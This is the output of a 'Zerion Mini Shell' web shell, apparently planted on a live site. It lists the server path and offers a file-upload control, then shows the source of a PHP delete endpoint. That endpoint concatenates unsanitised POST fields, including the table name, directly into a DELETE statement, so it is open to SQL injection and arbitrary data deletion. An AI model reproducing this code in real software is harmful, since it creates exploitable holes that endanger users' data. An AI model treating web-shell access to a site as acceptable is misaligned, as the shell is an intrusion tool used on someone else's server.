ok

Mini Shell

Direktori : /proc/self/root/home2/selectio/www/tnpsctestbatch.com/api/
Upload File :
Current File : //proc/self/root/home2/selectio/www/tnpsctestbatch.com/api/delete.php

<?php 
    
    include "../config/config.php"; 
    if($_POST['type']=="hard_delete"){
    $uid  =  $_POST['user_id'];  
    $exam_type  =  $_POST['exam_type']; 
    error_log("DELETE FROM ".$_POST['table_name']." WHERE user_id=$uid AND type = $exam_type"); 
    $statement = $pdo->prepare("DELETE FROM ".$_POST['table_name']." WHERE user_id=$uid AND type = $exam_type");
    $result=$statement->execute();
    if($result==1){
    	    $message='Success..';
    	    $error='1';
    	}
	else{
	    $message='Failed..';
	    $error='0';
	}
		$datas[] = array('message' => $message, 'error' => $error);                   
        echo $message;
}

?>

Zerion Mini Shell 1.0